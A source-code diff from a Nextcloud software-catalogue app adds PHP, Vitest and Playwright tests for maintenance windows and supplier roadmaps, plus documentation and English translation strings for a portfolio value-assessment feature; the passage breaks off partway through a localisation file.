b/tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php new file mode 100644 index 000000000..ec6d971ce --- /dev/null +++ b/tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php @@ -0,0 +1,199 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @version GIT: + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use OCP\App\IAppManager; +use OCP\IAppConfig; +use OCP\IGroupManager; +use OCP\IL10N; +use OCP\IRequest; +use PHPUnit\Framework\TestCase; +use Psr\Container\ContainerInterface; +use Psr\Log\LoggerInterface; +use ReflectionMethod; + +/** + * Asserts the schema, its lifecycle and notification rules, the roadmap field + * and the schema id lookup. + */ +class MaintenanceRoadmapFragmentTest extends TestCase { + + /** + * The merged register. + * + * @return array + */ + private function register(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $base = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $fragment = json_decode((string) file_get_contents($dir . '/register.d/maintenance-and-roadmap.json'), true); + + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + return $merge->invoke(null, $base, $fragment); + }//end register() + + /** + * The maintenanceWindow schema. + * + * @return array + */ + private function window(): array { + return $this->register()['components']['schemas']['maintenanceWindow']; + }//end window() + + /** + * The window names its product, a version of that product, a time window, an impact and a status. + * + * @return void + */ + public function testTheWindowCarriesProductTimeImpactAndStatus(): void { + $window = $this->window(); + $props = $window['properties']; + + $this->assertSame(['module', 'title', 'startsAt', 'endsAt'], $window['required']); + $this->assertSame('#/components/schemas/module', $props['module']['$ref']); + $this->assertSame('#/components/schemas/moduleVersion', $props['moduleVersion']['$ref']); + $this->assertSame(['module' => '@object.module'], $props['moduleVersion']['x-relation-filter']); + $this->assertSame('date-time', $props['startsAt']['format']); + $this->assertSame('date-time', $props['endsAt']['format']); + $this->assertSame(['no impact', 'degraded', 'unavailable'], $props['impact']['enum']); + $this->assertSame(['planned', 'in progress', 'completed', 'cancelled'], $props['status']['enum']); + $this->assertSame($props['status']['enum'], array_keys($props['status']['x-enum-labels'])); + foreach ($props as $key => $prop) { + $this->assertNotEmpty($prop['title'] ?? '', $key); + $this->assertNotEmpty($prop['description'] ?? '', $key); + } + + $this->assertContains('maintenanceWindow', $this->register()['components']['registers']['stackiq']['schemas']); + }//end testTheWindowCarriesProductTimeImpactAndStatus() + + /** + * Start, complete and cancel move between the status values the enum holds. + * + * @return void + */ + public function testTheLifecycleNamesTheEnumValues(): void { + $window = $this->window(); + $lifecycle = $window['configuration']['x-openregister-lifecycle']; + $enum = $window['properties']['status']['enum']; + + $this->assertSame('planned', $lifecycle['initial']); + $this->assertSame(['start', 'complete', 'cancel'], array_keys($lifecycle['transitions'])); + foreach ($lifecycle['transitions'] as $name => $transition) { + $this->assertContains($transition['to'], $enum, $name); + foreach ($transition['from'] as $from) { + $this->assertContains($from, $enum, $name); + } + } + }//end testTheLifecycleNamesTheEnumValues() + + /** + * The announcement fires when the owners are recorded, the reminder the day before a planned start, both to the recorded owners. + * + * @return void + */ + public function testTheRulesReachTheRecordedOwners(): void { + $window = $this->window(); + $rules = $window['x-openregister-notifications']; + + $this->assertSame(['maintenance-announced', 'maintenance-starts-tomorrow'], array_keys($rules)); + foreach ($rules as $name => $rule) { + $this->assertSame([['kind' => 'relation', 'relation' => 'notifyUserIds']], $rule['recipients'], $name); + $this->assertSame(['nc-notification'], $rule['channels'], $name); + $this->assertStringContainsString('{{title}}', $rule['subject']['en'], $name); + $this->assertStringContainsString('{{title}}', $rule['subject']['nl'], $name); + } + + $this->assertSame( + ['type' => 'updated', 'condition' => ['field' => 'recipientsResolvedAt', 'operator' => 'changed']], + $rules['maintenance-announced']['trigger'] + ); + $this->assertSame('string', $window['properties']['recipientsResolvedAt']['type'], 'a changed condition compares scalars'); + $this->assertSame('array', $window['properties']['notifyUserIds']['type']); + $this->assertTrue($window['properties']['notifyUserIds']['hideOnForm']); + + $reminder = $rules['maintenance-starts-tomorrow']['trigger']; + $this->assertSame('scheduled', $reminder['type']); + $this->assertSame(['operator' => 'withinNext', 'value' => 'P1D'], $reminder['filter']['startsAt']); + $this->assertSame(['operator' => 'equals', 'value' => 'planned'], $reminder['filter']['status']); + }//end testTheRulesReachTheRecordedOwners() + + /** + * Only the supplier and the catalogue admins announce and change maintenance. + * + * @return void + */ + public function testOnlyTheSupplierAnnouncesMaintenance(): void { + $auth = $this->window()['authorization']; + + $this->assertSame(['software-catalog-admins', 'aanbod-beheerder'], $auth['create']); + $this->assertSame(['public'], $auth['read']); + foreach (['update', 'delete'] as $action) { + $this->assertSame( + ['software-catalog-admins', ['group' => 'aanbod-beheerder', 'match' => ['_organisation' => '$organisation']]], + $auth[$action], + $action + ); + } + }//end testOnlyTheSupplierAnnouncesMaintenance() + + /** + * A product carries its supplier's roadmap statement, and the module version moves up so the import takes it. + * + * @return void + */ + public function testAProductCarriesARoadmapStatement(): void { + $module = $this->register()['components']['schemas']['module']; + + $this->assertSame('markdown', $module['properties']['roadmapStatement']['format']); + $this->assertSame('Roadmap', $module['properties']['roadmapStatement']['title']); + $this->assertTrue(version_compare($module['version'], '0.3.3', '>')); + $this->assertArrayHasKey('provider', $module['properties']); + }//end testAProductCarriesARoadmapStatement() + + /** + * The app resolves the maintenanceWindow schema id from the stored config, which the owner resolution relies on. + * + * @return void + */ + public function testTheSchemaIdResolves(): void { + $store = ['voorzieningen_config' => json_encode(['register' => '7', 'maintenanceWindow_schema' => '42'])]; + $config = $this->createMock(IAppConfig::class); + $config->method('getValueString')->willReturnCallback( + fn (string $app, string $key, string $default=''): string => ($store[$key] ?? $default) + ); + $container = $this->createMock(ContainerInterface::class); + $container->method('get')->willThrowException(new \Exception('not resolvable in a unit context')); + + $settings = new SettingsService( + config: $config, + request: $this->createMock(IRequest::class), + container: $container, + appManager: $this->createMock(IAppManager::class), + logger: $this->createMock(LoggerInterface::class), + groupManager: $this->createMock(IGroupManager::class), + l10n: $this->createMock(IL10N::class) + ); + + $this->assertSame(42, $settings->getSchemaIdForObjectType('maintenanceWindow')); + $this->assertSame(7, $settings->getRegisterIdForObjectType('maintenanceWindow')); + }//end testTheSchemaIdResolves() +}//end class diff --git a/tests/bootstrap-unit.php b/tests/bootstrap-unit.php index 97084ee81..3ba8c6368 100644 --- a/tests/bootstrap-unit.php +++ b/tests/bootstrap-unit.php @@ -57,6 +57,8 @@ // OpenRegister stubs — Db entities and Services used by tests. 'OCA\\OpenRegister\\Db\\' => __DIR__ . '/Stubs/Db/', 'OCA\\OpenRegister\\Service\\' => __DIR__ . '/Stubs/Service/', + // A copy of OpenRegister's ObjectCreatedEvent, so listener tests construct the real shape. + 'OCA\\OpenRegister\\Event\\' => __DIR__ . '/Stubs/Event/', ]; foreach ($prefixMap as $prefix => $dir) { diff --git a/tests/e2e/workflows/maintenance.spec.ts b/tests/e2e/workflows/maintenance.spec.ts new file mode 100644 index 000000000..c26227a57 --- /dev/null +++ b/tests/e2e/workflows/maintenance.spec.ts @@ -0,0 +1,161 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * Maintenance and roadmap: announcing a window on a product page, the + * dashboard widget for an organisation that uses the product, the roadmap + * on the product page and releasing a planned version. + * + * Seeds an organisation, a product with a roadmap statement and a planned + * version, a usage and a maintenance window carrying this run's RUN_ID + * through the objects API (the call the Add form makes), and removes exactly + * those rows afterwards. The rules, the lifecycle and the owner resolution + * are covered by tests/Unit/Settings/MaintenanceRoadmapFragmentTest.php, + * tests/Unit/EventListener/MaintenanceRecipientsListenerTest.php and + * tests/vitest/maintenance.spec.js. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md + */ +import type { APIRequestContext } from '@playwright/test' +import type { VoorzieningenConfig } from './_fixtures.ts' + +import { expect, test } from '@playwright/test' +import { + createObject, + deleteObject, + newApiContext, + resolveConfig, + RUN_ID, +} from './_fixtures.ts' +import { dismissSupportDialog, gotoAppRoute } from './_ui.ts' + +let apiCtx: APIRequestContext +let cfg: VoorzieningenConfig +const seeded: Array<[string, string]> = [] +const ids: Record = {} +const product = `${RUN_ID} product X` +const seededWindow = `${RUN_ID} database upgrade` +const announced = `${RUN_ID} storage move` +const statement = `${RUN_ID} we move to a cloud edition next year` + +/** + * Create a row and remember it for cleanup. + * + * @param schema The schema slug. + * @param data The object. + * @return The new id. + */ +async function seed(schema: string, data: Record): Promise { + const id = await createObject(apiCtx, cfg.register, schema, data) + seeded.push([schema, id]) + return id +} + +/** + * An ISO date-time a number of days from now. + * + * @param days Days ahead. + * @param hour The hour of the day. + * @return The date-time. + */ +function daysAhead(days: number, hour: number): string { + const date = new Date() + date.setDate(date.getDate() + days) + date.setHours(hour, 0, 0, 0) + return date.toISOString() +} + +test.beforeAll(async () => { + apiCtx = await newApiContext() + cfg = await resolveConfig(apiCtx) + ids.org = await seed('organization', { name: `${RUN_ID} municipality` }) + ids.x = await seed('module', { name: product, roadmapStatement: statement }) + ids.v3 = await seed('moduleVersion', { + module: ids.x, + version: '3.0', + status: 'in development', + dateInUse: daysAhead(150, 12), + }) + ids.usage = await seed('usage', { + consumer: ids.org, + module: ids.x, + status: 'In production', + }) + ids.window = await seed('maintenanceWindow', { + module: ids.x, + title: seededWindow, + startsAt: daysAhead(5, 8), + endsAt: daysAhead(5, 12), + impact: 'unavailable', + status: 'planned', + }) +}) + +test.afterAll(async () => { + if (!apiCtx) return + for (const [schema, id] of seeded.reverse()) { + await deleteObject(apiCtx, cfg.register, schema, id) + } + await apiCtx.dispose() +}) + +// @e2e maintenance-and-supplier-roadmap::a-supplier-announces-a-maintenance-window +test('announcing maintenance lists the window as planned on the product page', async ({ + page, +}) => { + await gotoAppRoute(page, `/modules/${ids.x}`) + await dismissSupportDialog(page) + await page.getByRole('button', { name: 'Announce maintenance' }).first().click() + const dialog = page.getByRole('dialog') + await expect(dialog).toBeVisible({ timeout: 30000 }) + await dialog.getByLabel('Title').fill(announced) + await dialog.getByLabel('Starts at').fill(daysAhead(9, 8).slice(0, 16)) + await dialog.getByLabel('Ends at').fill(daysAhead(9, 12).slice(0, 16)) + await dialog + .getByRole('button', { name: /save|create/i }) + .last() + .click() + await expect(dialog).toBeHidden({ timeout: 30000 }) + const row = page.getByRole('row').filter({ hasText: announced }) + await expect(row).toContainText(/planned/i, { timeout: 30000 }) + const found = await apiCtx.get( + `/index.php/apps/openregister/api/objects/${cfg.register}/maintenanceWindow?title=${encodeURIComponent(announced)}`, + ) + for (const result of (await found.json()).results ?? []) { + seeded.push(['maintenanceWindow', result.id ?? result['@self']?.id]) + } +}) + +// @e2e maintenance-and-supplier-roadmap::a-municipality-sees-the-window-on-its-dashboard +test('the dashboard lists the window with its impact', async ({ page }) => { + await gotoAppRoute(page, '/') + await dismissSupportDialog(page) + const item = page + .getByTestId('upcoming-maintenance-item') + .filter({ hasText: seededWindow }) + await expect(item).toBeVisible({ timeout: 30000 }) + await expect(item).toContainText('Unavailable') +}) + +// @e2e maintenance-and-supplier-roadmap::a-buyer-reads-what-ships-next +test('the product page shows the roadmap statement and the planned version', async ({ + page, +}) => { + await gotoAppRoute(page, `/modules/${ids.x}`) + await dismissSupportDialog(page) + await expect(page.getByTestId('product-roadmap-statement')).toContainText( + statement, + { timeout: 30000 }, + ) + await expect(page.getByTestId('product-roadmap')).toContainText('3.0') +}) + +// @e2e maintenance-and-supplier-roadmap::a-supplier-releases-the-planned-version +test('Release moves the planned version into use', async ({ page }) => { + await gotoAppRoute(page, `/moduleversies/${ids.v3}`) + await dismissSupportDialog(page) + await page + .getByRole('button', { name: /release/i }) + .first() + .click() + await expect(page.getByText(/in use/i).first()).toBeVisible({ timeout: 30000 }) +}) diff --git a/tests/vitest/maintenance.spec.js b/tests/vitest/maintenance.spec.js new file mode 100644 index 000000000..153b902a8 --- /dev/null +++ b/tests/vitest/maintenance.spec.js @@ -0,0 +1,283 @@ +/** + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + * + * Planned maintenance and the supplier roadmap: which windows an organisation + * sees, the roadmap events, the pages as the app builds them (manifest.d + * merged the way src/main.js merges it), and the seeded maintenance windows + * validated against the real maintenanceWindow schema in the register. + * + * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md + */ + +import addFormats from 'ajv-formats' +import Ajv2020 from 'ajv/dist/2020.js' +import * as fs from 'fs' +import * as path from 'path' +import { describe, expect, it, vi } from 'vitest' +import register from '../../lib/Settings/softwarecatalogus_register.json' +import mock from '../../lib/Settings/stackiq_mock_register.json' +import manifestSchema from '../../node_modules/@conduction/nextcloud-vue/src/schemas/app-manifest-v2.schema.json' +import { buildManifest } from '../../node_modules/@conduction/nextcloud-vue/src/utils/buildManifest.js' +import base from '../../src/manifest.json' +import menuLayout from '../../src/menu-layout.json' +import { + loadUpcomingMaintenance, + roadmapEvents, + upcomingMaintenance, +} from '../../src/utils/maintenance.js' + +const dir = path.resolve(__dirname, '../../src/manifest.d') +const merged = buildManifest( + base, + fs + .readdirSync(dir) + .filter((f) => f.endsWith('.json')) + .sort() + .map((f) => JSON.parse(fs.readFileSync(path.join(dir, f), 'utf8'))), + menuLayout, +) +const page = (id) => merged.pages.find((p) => p.id === id) +function widget(pageId, widgetId) { + return page(pageId).config.widgets.find((w) => w.id === widgetId) +} +const schema = register.components.schemas.maintenanceWindow +const now = new Date('2026-10-01T09:00:00Z') + +const windows = [ + { + id: 'w1', + module: 'x', + status: 'planned', + startsAt: '2026-10-03T06:00:00Z', + endsAt: '2026-10-03T10:00:00Z', + impact: 'unavailable', + }, + { + id: 'w2', + module: { id: 'x' }, + status: 'planned', + startsAt: '2026-10-02T06:00:00Z', + endsAt: '2026-10-02T07:00:00Z', + }, + { + id: 'w3', + module: 'y', + status: 'planned', + startsAt: '2026-10-03T06:00:00Z', + endsAt: '2026-10-03T07:00:00Z', + }, + { + id: 'w4', + module: 'x', + status: 'cancelled', + startsAt: '2026-10-03T06:00:00Z', + endsAt: '2026-10-03T07:00:00Z', + }, + { + id: 'w5', + module: 'x', + status: 'planned', + startsAt: '2026-12-01T06:00:00Z', + endsAt: '2026-12-01T07:00:00Z', + }, + { + id: 'w6', + module: 'x', + status: 'planned', + startsAt: '2026-09-01T06:00:00Z', + endsAt: '2026-09-01T07:00:00Z', + }, +] + +/** + * A validator built from the real maintenanceWindow properties. A relation is + * checked as an object or an id string, the way OpenRegister accepts it. + * + * @return {Function} The compiled Ajv validator. + */ +function compileWindow() { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const properties = Object.fromEntries( + Object.entries(schema.properties).map(([key, prop]) => [ + key, + prop.$ref + ? { type: ['object', 'string'] } + : { type: prop.type, enum: prop.enum, format: prop.format }, + ]), + ) + return ajv.compile({ type: 'object', required: schema.required, properties }) +} + +describe('upcoming maintenance', () => { + it('lists the planned windows of the next 30 days on the products in use, earliest first', () => { + expect(upcomingMaintenance(windows, ['x'], now).map((w) => w.id)).toEqual([ + 'w2', + 'w1', + ]) + }) + + it('reads the usages of the organisation and then the windows on their products', async () => { + const fetchList = vi.fn(async (type) => + type === 'usage' + ? [{ module: 'x' }, { module: { id: 'x' } }, { module: null }] + : windows, + ) + const result = await loadUpcomingMaintenance('org-1', fetchList, now) + expect(fetchList).toHaveBeenNthCalledWith( + 1, + 'usage', + expect.objectContaining({ consumer: 'org-1' }), + ) + expect(fetchList).toHaveBeenNthCalledWith( + 2, + 'maintenanceWindow', + expect.objectContaining({ module: ['x'], status: 'planned' }), + ) + expect(result.map((w) => w.id)).toEqual(['w2', 'w1']) + }) + + it('reads nothing without an organisation or usages', async () => { + const fetchList = vi.fn(async () => []) + expect(await loadUpcomingMaintenance(null, fetchList, now)).toEqual([]) + expect(await loadUpcomingMaintenance('org-1', fetchList, now)).toEqual([]) + expect(fetchList).toHaveBeenCalledTimes(1) + }) +}) + +describe('the roadmap', () => { + it('places each version on its go-live date, planned ones marked planned, undated ones left out', () => { + const events = roadmapEvents([ + { + id: 'v3', + version: '3.0', + status: 'in development', + dateInUse: '2027-03-01', + }, + { id: 'v2', version: '2.1', status: 'in use', dateInUse: '2026-05-01' }, + { + id: 'v4', + version: '4.0', + status: 'in development', + dateInDevelopment: '2026-09-01', + }, + { id: 'v1', version: '1.0', status: 'withdrawn' }, + ]) + expect(events.map((e) => [e.title, e.start, e.kind])).toEqual([ + ['3.0', '2027-03-01', 'planned'], + ['2.1', '2026-05-01', 'released'], + ['4.0', '2026-09-01', 'planned'], + ]) + }) +}) + +describe('the pages', () => { + it('builds a manifest the v2 schema accepts', () => { + const ajv = new Ajv2020({ allErrors: true, strict: false }) + addFormats(ajv) + const validate = ajv.compile(manifestSchema) + expect(validate(merged), JSON.stringify(validate.errors)).toBe(true) + }) + + it('lists the planned maintenance on the application page, with Announce maintenance', () => { + const list = widget('ModuleDetail', 'md-maintenance') + expect(list.content).toMatchObject({ + schema: 'maintenanceWindow', + filter: { module: '@objectId' }, + sort: { field: 'startsAt', dir: 'asc' }, + addLabel: 'Announce maintenance', + }) + for (const column of list.content.columns) { + expect(schema.properties, column.key).toHaveProperty(column.key) + } + for (const field of list.content.formIncludeFields) { + expect(schema.properties, field).toHaveProperty(field) + } + expect(page('ModuleDetail').config.layout.map((l) => l.widgetId)).toContain( + 'md-maintenance', + ) + }) + + it('shows the roadmap on the application page', () => { + const body = page('ModuleDetail').config.bodyWidgets.find( + (w) => w.id === 'md-roadmap', + ) + expect(body).toMatchObject({ + component: 'ProductRoadmap', + props: { objectId: '@objectId' }, + }) + const registry = fs.readFileSync( + path.resolve(__dirname, '../../src/customComponents.js'), + 'utf8', + ) + expect(registry).toMatch(/\bProductRoadmap,/) + }) + + it('shows planned maintenance on the dashboard', () => { + const dashboard = page('Dashboard').config + const w = dashboard.widgets.find((x) => x.id === 'upcoming-maintenance') + expect(w.type).toBe('upcoming-maintenance') + expect(dashboard.layout.map((l) => l.widgetId)).toContain( + 'upcoming-maintenance', + ) + const main = fs.readFileSync( + path.resolve(__dirname, '../../src/main.js'), + 'utf8', + ) + expect(main).toMatch( + /registerDashboardWidget\('upcoming-maintenance',\s*\{\s*renderer: UpcomingMaintenanceWidget/, + ) + }) + + it('filters the module versions on planned releases, a real status value', () => { + const index = page('Moduleversies').config + const planned = index.quickFilters.find( + (q) => q.label === 'Planned releases', + ) + expect( + register.components.schemas.moduleVersion.properties.status.enum, + ).toContain(planned.filter.status) + expect(index.columns).toContain('dateInDevelopment') + }) +}) + +describe('the maintenanceWindow schema', () => { + it('offers start, complete and cancel on its own status values', () => { + const lifecycle = schema.configuration['x-openregister-lifecycle'] + const states = schema.properties.status.enum + for (const transition of Object.values(lifecycle.transitions)) { + expect(states).toContain(transition.to) + transition.from.forEach((from) => expect(states).toContain(from)) + } + expect(states).toContain(lifecycle.initial) + }) + + it('notifies the owners it resolved, on a field the schema declares', () => { + for (const rule of Object.values(schema['x-openregister-notifications'])) { + expect(rule.recipients).toEqual([ + { kind: 'relation', relation: 'notifyUserIds' }, + ]) + } + expect(schema.properties.notifyUserIds.type).toBe('array') + const announced = + schema['x-openregister-notifications']['maintenance-announced'].trigger + expect(schema.properties).toHaveProperty(announced.condition.field) + }) + + it('has seeded windows in both registers that the schema accepts', () => { + const validate = compileWindow() + const seeds = mock.components.objects.filter( + (o) => o['@self']?.schema === 'maintenanceWindow', + ) + expect(new Set(seeds.map((s) => s['@self'].register))).toEqual( + new Set(['stackiq', 'vng-gemma']), + ) + for (const seed of seeds) { + expect( + validate(seed), + `${seed['@self'].slug}: ${JSON.stringify(validate.errors)}`, + ).toBe(true) + } + }) +}) diff --git a/tests/vitest/usages.spec.js b/tests/vitest/usages.spec.js index 1e523f4e1..3bbc33a9f 100644 --- a/tests/vitest/usages.spec.js +++ b/tests/vitest/usages.spec.js @@ -33,8 +33,9 @@ const merged = buildManifest( menuLayout, ) const page = (id) => merged.pages.find((p) => p.id === id) -const widget = (pageId, widgetId) => - page(pageId).config.widgets.find((w) => w.id === widgetId) +function widget(pageId, widgetId) { + return page(pageId).config.widgets.find((w) => w.id === widgetId) +} const usage = register.components.schemas.usage From f262512ce9f58830f1e577fa69b2eb061661d5fd Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Wed, 30 Sep 2026 05:23:10 +0200 Subject: [PATCH 057/176] feat(portfolio): score the applications you use on value, fit and risk, and see where the scores contradict the TIME class (#1200) * test(portfolio): the value, fit and risk scores, the declared suggested class, the report row and CSV columns, red before the change * test(portfolio): risk signals, the value against fit plot, the mismatch filter and the usage page wiring, red before the change * wip(portfolio): scores, suggested class, report row and CSV, risk signals on the usage page (tests green, gates not run) * wip: saved by the coordinator after the 30 Sep 04:20 process restart, not verified by the gate * feat(portfolio): English and Dutch text for the value assessment * test(portfolio): the two value assessment scenarios in Playwright, the docs page, and the change's tasks and design brought up to date * chore(openspec): archive lifecycle-application-value-assessment, row life-value-assessment built, spec tags point at the main spec * fix(portfolio): lint and prettier on the value assessment files * refactor(portfolio): the value assessment row fields live in PortfolioReportDerivation, keeping the service under the complexity limit --- docs/features/portfolio-value-assessment.md | 44 +++ l10n/en.js | 35 ++- l10n/en.json | 35 ++- l10n/nl.js | 35 ++- l10n/nl.json | 35 ++- lib/Service/PortfolioReportDerivation.php | 108 +++++++ lib/Service/PortfolioReportService.php | 19 +- lib/Settings/register.d/value-assessment.json | 145 +++++++++ lib/Settings/stackiq_mock_register.json | 42 ++- .../.openspec.yaml | 0 .../design.md | 7 + .../proposal.md | 0 .../application-value-assessment/spec.md | 2 +- .../tasks.md | 16 +- openspec/parity/capabilities.json | 13 +- .../application-value-assessment/spec.md | 40 +++ src/components/portfolio/UsageRiskSignals.vue | 231 ++++++++++++++ src/components/portfolio/ValueFitPlot.vue | 296 ++++++++++++++++++ src/customComponents.js | 7 + src/icons.js | 2 + src/manifest.d/usages.json | 11 +- src/utils/valueAssessment.js | 112 +++++++ src/views/organisaties/PortfolioReport.vue | 72 ++++- .../Service/PortfolioReportServiceTest.php | 112 +++++++ .../Settings/ValueAssessmentFragmentTest.php | 242 ++++++++++++++ tests/e2e/workflows/portfolio-value.spec.ts | 135 ++++++++ tests/vitest/valueAssessment.spec.js | 179 +++++++++++ 27 files changed, 1945 insertions(+), 30 deletions(-) create mode 100644 docs/features/portfolio-value-assessment.md create mode 100644 lib/Settings/register.d/value-assessment.json rename openspec/changes/{lifecycle-application-value-assessment => archive/2026-09-30-lifecycle-application-value-assessment}/.openspec.yaml (100%) rename openspec/changes/{lifecycle-application-value-assessment => archive/2026-09-30-lifecycle-application-value-assessment}/design.md (79%) rename openspec/changes/{lifecycle-application-value-assessment => archive/2026-09-30-lifecycle-application-value-assessment}/proposal.md (100%) rename openspec/changes/{lifecycle-application-value-assessment => archive/2026-09-30-lifecycle-application-value-assessment}/specs/application-value-assessment/spec.md (94%) rename openspec/changes/{lifecycle-application-value-assessment => archive/2026-09-30-lifecycle-application-value-assessment}/tasks.md (74%) create mode 100644 openspec/specs/application-value-assessment/spec.md create mode 100644 src/components/portfolio/UsageRiskSignals.vue create mode 100644 src/components/portfolio/ValueFitPlot.vue create mode 100644 src/utils/valueAssessment.js create mode 100644 tests/Unit/Settings/ValueAssessmentFragmentTest.php create mode 100644 tests/e2e/workflows/portfolio-value.spec.ts create mode 100644 tests/vitest/valueAssessment.spec.js diff --git a/docs/features/portfolio-value-assessment.md b/docs/features/portfolio-value-assessment.md new file mode 100644 index 000000000..e37335a17 --- /dev/null +++ b/docs/features/portfolio-value-assessment.md @@ -0,0 +1,44 @@ + + +# Value assessment + +An information manager scores each application the organisation uses on business value, technical fit and risk. The scores sit next to the cost stackiq already adds up from contracts, and they point to a TIME class. The TIME class the organisation records stays the decision: the scores back it up or question it, they never change it. + +Specification: [`openspec/specs/application-value-assessment/spec.md`](https://github.com/ConductionNL/stackiq/blob/development/openspec/specs/application-value-assessment/spec.md). + +## Scoring an application + +Open the application under **Applications in use** and edit it. Fill in: + +- **Business value**: how much the organisation depends on it, from 1 (little) to 5 (critical). +- **Technical fit**: how well it fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good). +- **Risk**: the risk the organisation sees in running it, from 1 (low) to 5 (high). +- **Scored on**: the date you set the scores. + +When you save, stackiq fills in **Suggested TIME classification**: + +| Business value | Technical fit | Suggested class | +|---|---|---| +| 3 or more | 3 or more | Invest | +| 3 or more | below 3 | Migrate | +| below 3 | 3 or more | Tolerate | +| below 3 | below 3 | Eliminate | + +While either score is missing there is no suggestion. The **Value assessment** section of the page shows the scores, the recorded TIME class and the suggestion side by side. + +## Risk signals + +Below the data of the page, **Risk signals** shows what backs a risk score: whether the version you run is past its end of support (or withdrawn), and how many known vulnerabilities are linked to the application. You set the risk score yourself; the signals only inform it. + +## The portfolio report + +The portfolio report (**Reports**, then **Portfolio rationalization**) adds, for the organisation you select: + +- **Business value against technical fit**: one circle per scored application, its size the annualised cost. The circle's colour is the suggested class; a dark ring marks a recorded class that differs from the scores. Applications without both scores are counted below the chart. +- Two columns in the table: **Suggested by scores** and **Value / fit / risk**. +- The switch **Recorded class differs from scores**, which lists only the applications whose recorded class and suggestion disagree. + +The CSV export carries the columns businessValue, technicalFit, riskScore, scoredOn, suggestedTimeClassification and timeMismatch. diff --git a/l10n/en.js b/l10n/en.js index 78ad2bf27..f81da82a9 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -868,7 +868,40 @@ OC.L10N.register( "Loading the roadmap": "Loading the roadmap", "The roadmap could not be loaded.": "The roadmap could not be loaded.", "The supplier has not published a roadmap for this application": "The supplier has not published a roadmap for this application", - "No versions with a date yet": "No versions with a date yet" + "No versions with a date yet": "No versions with a date yet", + "{name}: business value {value}, technical fit {fit}, annualised cost {cost}": "{name}: business value {value}, technical fit {fit}, annualised cost {cost}", + "%n application in use is not scored yet.": "%n application in use is not scored yet.", + "%n applications in use are not scored yet.": "%n applications in use are not scored yet.", + "%n vulnerability linked to this application": "%n vulnerability linked to this application", + "%n vulnerabilities linked to this application": "%n vulnerabilities linked to this application", + "Business value": "Business value", + "Business value against technical fit": "Business value against technical fit", + "Business value against technical fit for %n scored application in use": "Business value against technical fit for %n scored application in use", + "Business value against technical fit for %n scored applications in use": "Business value against technical fit for %n scored applications in use", + "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.": "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.", + "Known vulnerabilities": "Known vulnerabilities", + "Loading the risk signals": "Loading the risk signals", + "No end of support date known": "No end of support date known", + "Not scored": "Not scored", + "Passed on {date}": "Passed on {date}", + "Recorded class differs from scores": "Recorded class differs from scores", + "Risk score": "Risk score", + "Risk signals": "Risk signals", + "Suggested by scores": "Suggested by scores", + "Supported until {date}": "Supported until {date}", + "Technical fit": "Technical fit", + "The risk signals could not be loaded.": "The risk signals could not be loaded.", + "This version was withdrawn": "This version was withdrawn", + "Value / fit / risk": "Value / fit / risk", + "Value assessment": "Value assessment", + "How much the organisation depends on this application, from 1 (little) to 5 (critical).": "How much the organisation depends on this application, from 1 (little) to 5 (critical).", + "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).": "How well the application fits the architecture and the standards the organisation follows, from 1 (poor) to 5 (good).", + "Risk": "Risk", + "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.": "The risk the organisation sees in running this application, from 1 (low) to 5 (high). The page shows end of support and known vulnerabilities next to it.", + "Scored on": "Scored on", + "The date the scores were set.": "The date the scores were set.", + "Suggested TIME classification": "Suggested TIME classification", + "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision.": "The TIME class the business value and technical fit point to. Calculated when the usage is saved; the recorded TIME classification stays the decision." }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index a8fc89421..21f9325c5 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -867,6 +867,39 @@ "Loading the roadmap": "Loading the roadmap", "The roadmap could not be loaded.": "The roadmap could not be loaded.", "The supplier has not published a roadmap for this application": "The supplier has not published a roadmap for this application", - "No versions with a date yet": "No versions with a date yet" + "No versions with a date yet": "No versions with a date yet", + "{name}: business value {value}, technical fit {fit}, annualised cost {cost}": "{name}: business value {value}, technical fit {fit}, annualised cost {cost}", + "%n application in use is not scored yet.": "%n application in use is not scored yet.", + "%n applications in use are not scored yet.": "%n applications in use are not scored yet.", + "%n vulnerability linked to this application": "%n vulnerability linked to this application", + "%n vulnerabilities linked to this application": "%n vulnerabilities linked to this application", + "Business value": "Business value", + "Business value against technical fit": "Business value against technical fit", + "Business value against technical fit for %n scored application in use": "Business value against technical fit for %n scored application in use", + "Business value against technical fit for %n scored applications in use": "Business value against technical fit for %n scored applications in use", + "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.": "Each circle is an application in use, its size the annualised cost. A dark ring marks a recorded TIME class that differs from the scores.", + "Known vulnerabilities": "Known vulnerabilities", + "Loading the risk signals": "Loading the risk signals", + "No end of support date known": "No end of support date known", + "Not scored": "Not scored", + "Passed on {date}": "Passed on {date}", + "Recorded class differs from scores": "Recorded class differs from scores", + "Risk score": "Risk score", + "Risk signals": "Risk signals", + "Suggested by scores": "Suggested by scores", + "Supported until {date}": "Supported until {date}", + "Technical fit": "Technical fit", + "The risk signals could not be loaded.": "The risk signals could not be loaded.", + "This version was 